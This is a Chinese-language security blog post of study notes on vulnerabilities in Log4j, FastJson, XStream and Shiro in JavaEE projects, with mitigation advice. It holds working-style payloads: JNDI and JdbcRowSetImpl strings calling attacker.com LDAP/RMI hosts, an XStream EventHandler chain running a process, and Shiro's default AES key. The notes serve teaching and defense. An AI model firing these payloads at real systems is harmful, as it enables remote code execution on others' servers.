第48天-JavaEE开发中的第三方依赖安全风险笔记:Log4j、FastJson、XStream与Shiro

admin 2026-03-03 07:22:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档系统梳理了JavaEE开发中Log4j、FastJson、XStream和Shiro四个常用第三方组件的安全漏洞原理、利用方式及防御建议。核心发现包括Log4j的JNDI注入可导致RCE、FastJson反序列化通过@type触发攻击链、XStream反序列化调用readObject方法存在风险,以及Shiro因硬编码密钥或配置不当引发反序列化漏洞。文档提供了具体的漏洞演示代码和升级版本、启用安全模式、配置白名单等可操作防御措施。 综合评分: 85 文章分类: 漏洞分析,安全开发,应用安全,代码审计,供应链安全


cover_image

第48天-JavaEE 开发中的第三方依赖安全风险笔记:Log4j、FastJson、XStream 与 Shiro

原创

萧瑶 萧瑶

AlphaNet

2026年2月23日 08:56 江苏

在 JavaEE 企业级开发中,我们常常依赖第三方库来快速实现日志记录、数据序列化、安全认证等功能。然而,这些广泛使用的库也可能成为攻击者的突破口。本文整理了 Log4j、FastJson、XStream 和 Shiro 四个常见组件的安全漏洞原理、利用方式及防御思路,帮助开发者和安全人员更好地理解和防范这些风险。


一、Log4j 日志组件:JNDI 注入引发的 RCE

  1. 简介

Log4j 是一个基于 Java 的日志记录工具,广泛应用于业务系统。开发者可通过它记录程序的输入输出信息。但 Log4j 2.x 版本中存在一个严重的 JNDI 注入漏洞(CVE-2021-44228),允许攻击者通过日志消息触发远程代码执行。

  1. Maven 依赖
<dependency>

<groupId>org.apache.logging.log4j</groupId>

<artifactId>log4j-core</artifactId>

<version>2.14.1</version>&nbsp; <!-- 受影响版本 -->

</dependency>
  1. 常见用法
// 记录普通日志

logger.info("用户访问:{}", username);

// 记录错误信息

logger.error("发生异常:{}", exception.getMessage());
  1. 漏洞原理

Log4j 支持通过 ${} 占位符进行变量替换,其中包含 JNDI 查找功能(如 ${jndi:ldap://…})。当日志消息中包含这类字符串时,Log4j 会尝试解析并执行 JNDI 查询,若攻击者可控日志内容,即可指向恶意 LDAP 服务器,加载远程类,最终实现 RCE。

  1. 漏洞演示(2.14.1 版本)
// 测试操作系统信息(无害)

String code = "${java:os}";

logger.error("{}", code);&nbsp; // 输出:Mac OS X 10.15.7 等

// 恶意 JNDI 注入

String exp = "${jndi:ldap://attacker.com:1389/Exploit}";

logger.error("{}", exp);&nbsp; &nbsp;// 触发远程类加载

结论:当日志内容包含恶意 JNDI 地址时,可导致 RCE。

  1. 利用方式

· 黑盒测试:在用户输入、HTTP 头(如 User-Agent、X-Forwarded-For)等位置插入 JNDI 注入 payload。

· 白盒审计:搜索项目中 logger 的调用,查看是否有外部可控数据直接传入日志方法。

  1. 参考资料

Log4j2 漏洞深度剖析


二、FastJson:反序列化调用 Getter/Setter 导致的 RCE

  1. 简介

FastJson 是阿里巴巴开源的 Java JSON 处理库,能高效地将 Java 对象与 JSON 相互转换。由于其反序列化机制会自动调用某些类的 getter/setter 方法,攻击者可利用特定类的构造链实现远程代码执行。

  1. Maven 依赖
<!-- 受影响版本示例 -->

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.24</version>&nbsp; <!-- 存在漏洞 -->

</dependency>

<!-- 1.2.25 引入了 autotype 限制,但仍可能绕过 -->

<dependency>

<groupId>com.alibaba</groupId>

<artifactId>fastjson</artifactId>

<version>1.2.25</version>

</dependency>
  1. 常用方法

· 序列化:JSON.toJSONString(obj)、JSON.toJSONBytes(obj)

· 反序列化:JSON.parseObject(json, Clazz.class)、JSON.parse(json)、JSON.parseArray(json)

· 转换:JSON.toJavaObject(jsonObject, Clazz.class)、JSON.writeJSONString(os, obj)

  1. 漏洞原理

FastJson 在反序列化时,会根据 JSON 中的 @type 指定类名,并尝试实例化该类。过程中会调用符合条件的 setter 方法以及特定 getter 方法。攻击者可构造 JSON 数据,利用某些 Java 类的 setter 方法执行恶意操作(如 JNDI 注入、文件写入等),形成反序列化攻击链。

  1. 演示(1.2.24 版本)
// 正常反序列化

String json = "{\"@type\":\"com.example.User\",\"name\":\"Alice\"}";

JSON.parseObject(json);

// 恶意 payload(利用 JdbcRowSetImpl 触发 JNDI 注入)

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com:1389/Exploit\",\"autoCommit\":true}";

JSON.parse(payload);

结论:反序列化时若 @type 指向危险类,可能触发 JNDI 注入或其它攻击。

  1. 利用方式

· 黑盒:在 JSON 数据中插入 @type 字段,尝试替换为已知 gadget 类。

· 白盒:查找 JSON.parse、JSON.parseObject 等调用,并追踪参数是否可控。

  1. 参考资料

FastJson 反序列化漏洞系列


三、XStream:反序列化调用 readObject 导致的 RCE

  1. 简介

XStream 是一个简单的 Java 库,用于将 Java 对象序列化为 XML,或从 XML 反序列化为对象。由于它支持动态代理和自定义转换器,攻击者可以通过精心构造的 XML 触发目标类的 readObject 方法,进而执行恶意代码。

  1. Maven 依赖
<!-- 受影响版本示例 -->

<dependency>

<groupId>com.thoughtworks.xstream</groupId>

<artifactId>xstream</artifactId>

<version>1.4.5</version>&nbsp; &nbsp;<!-- 存在漏洞 -->

</dependency>

<!-- 1.4.15 修复了部分漏洞,但仍有绕过可能 -->

<dependency>

<groupId>com.thoughtworks.xstream</groupId>

<artifactId>xstream</artifactId>

<version>1.4.15</version>

</dependency>
  1. 基本用法
// 序列化

Car car = new Car("Ferrari", 4000000);

XStream xStream = new XStream();

String xml = xStream.toXML(car);

System.out.print(xml);

// 反序列化

String xml = "...";&nbsp; // 来自外部

XStream xStream = new XStream();

Car car = (Car) xStream.fromXML(xml);
  1. 漏洞原理

XStream 反序列化时,会根据 XML 元素创建对应类的实例,并调用该类的 readObject 方法(如果实现了 Serializable 接口)。攻击者可利用某些 Java 类(如 EventHandler、PriorityQueue 等)在 readObject 中执行危险操作,构造出完整的 RCE 利用链。

  1. 漏洞演示

(1) 已知类的调用方法(普通反序列化)

<com.example.xstreamdemo.Car serialization="custom">

<com.example.xstreamdemo.Car>

<default>

<price>4000000</price>

<name>Ferrari</name>

</default>

</com.example.xstreamdemo.Car>

</com.example.xstreamdemo.Car>

这段 XML 可正常反序列化 Car 对象。

(2) 利用 EventHandler 的 CVE 链

<sorted-set>

<dynamic-proxy>

<interface>java.lang.Comparable</interface>

<handler class="java.beans.EventHandler">

<target class="java.lang.ProcessBuilder">

<command>

<string>calc.exe</string>

</command>

</target>

<action>start</action>

</handler>

</dynamic-proxy>

</sorted-set>

该 payload 利用动态代理和 EventHandler,最终执行 ProcessBuilder.start() 打开计算器。

(3) 更复杂的利用链(JdbcRowSetImpl JNDI 注入)

<java.util.PriorityQueue serialization='custom'>

... <!-- 省略中间大量嵌套 -->

<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>

<javax.sql.rowset.BaseRowSet>

<default>

<dataSource>rmi://attacker.com:1099/Exploit</dataSource>

</default>

</javax.sql.rowset.BaseRowSet>

</jaxbObject>

</java.util.PriorityQueue>

该链通过嵌套调用最终设置 dataSource 为恶意 RMI 地址,触发 JNDI 注入。

结论:XStream 反序列化时可能调用目标类的 readObject,结合 JDK 自带类可构建 RCE 链。

  1. 利用方式

· 黑盒:寻找接收 XML 数据的接口,替换为已知漏洞 payload。

· 白盒:审计 XStream.fromXML 调用,检查外部输入是否直接传入。

  1. 参考资料

XStream 反序列化漏洞深入分析


四、Shiro 安全框架:配置不当与反序列化漏洞

  1. 简介

Apache Shiro 是一个功能强大的 Java 安全框架,提供身份验证、授权、加密和会话管理。由于其 RememberMe 功能使用了 AES 加密(硬编码密钥或弱密钥),攻击者可构造恶意序列化数据触发反序列化 RCE(如 Shiro-550、Shiro-721)。

  1. 开发与依赖

(可通过 AI 生成示例)

<dependency>

<groupId>org.apache.shiro</groupId>

<artifactId>shiro-core</artifactId>

<version>1.7.1</version>&nbsp; <!-- 不同版本存在不同漏洞 -->

</dependency>
  1. 漏洞原理

· Shiro-550 (CVE-2016-4437):Shiro 默认使用硬编码的 AES 密钥(kPH+bIxk5D2deZiIxcaaaA==)对 RememberMe 的 Cookie 进行加密。攻击者可以用该密钥加密恶意反序列化 payload,服务端解密后触发反序列化。

· Shiro-721:使用 Padding Oracle 攻击,在不知道密钥的情况下利用 RememberMe 的 AES-CBC 模式构造恶意密文。

· 权限绕过:某些版本对 URL 的解析存在差异,可绕过鉴权访问敏感接口。

  1. 利用方式

· 黑盒:抓包查看 Cookie 中是否有 rememberMe=xxx,尝试替换为已知工具生成的 payload。

· 白盒:查看 shiro.ini 或配置类中 RememberMe 密钥是否被修改,以及 Shiro 版本是否在受影响范围内。

  1. 参考资料

Shiro 反序列化漏洞详解


五、总结与防御建议

组件 风险点 防御措施

Log4j JNDI 注入 升级到 2.17.0+;设置 log4j2.formatMsgNoLookups=true;移除 JndiLookup 类

FastJson 反序列化调用 setter/getter 升级到最新版;开启 safeMode;使用 @type 白名单

XStream 反序列化调用 readObject 升级到 1.4.20+;配置自定义转换器白名单

Shiro 反序列化 AES 密钥泄露 修改默认密钥;升级到 1.7.1+;使用更强的加密算法

日常开发建议:

· 保持第三方库及时更新。

· 对用户输入进行严格校验,避免直接传入反序列化函数。

· 采用最小权限原则,限制 Java 进程的 JNDI 访问。

· 定期进行安全扫描和代码审计。

希望这份笔记能帮助你更好地理解 JavaEE 开发中常见第三方依赖的安全风险。如有遗漏或错误,欢迎指正!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:AlphaNet 萧瑶 萧瑶《第48天-JavaEE 开发中的第三方依赖安全风险笔记:Log4j、FastJson、XStream 与 Shiro》

评论:0   参与:  0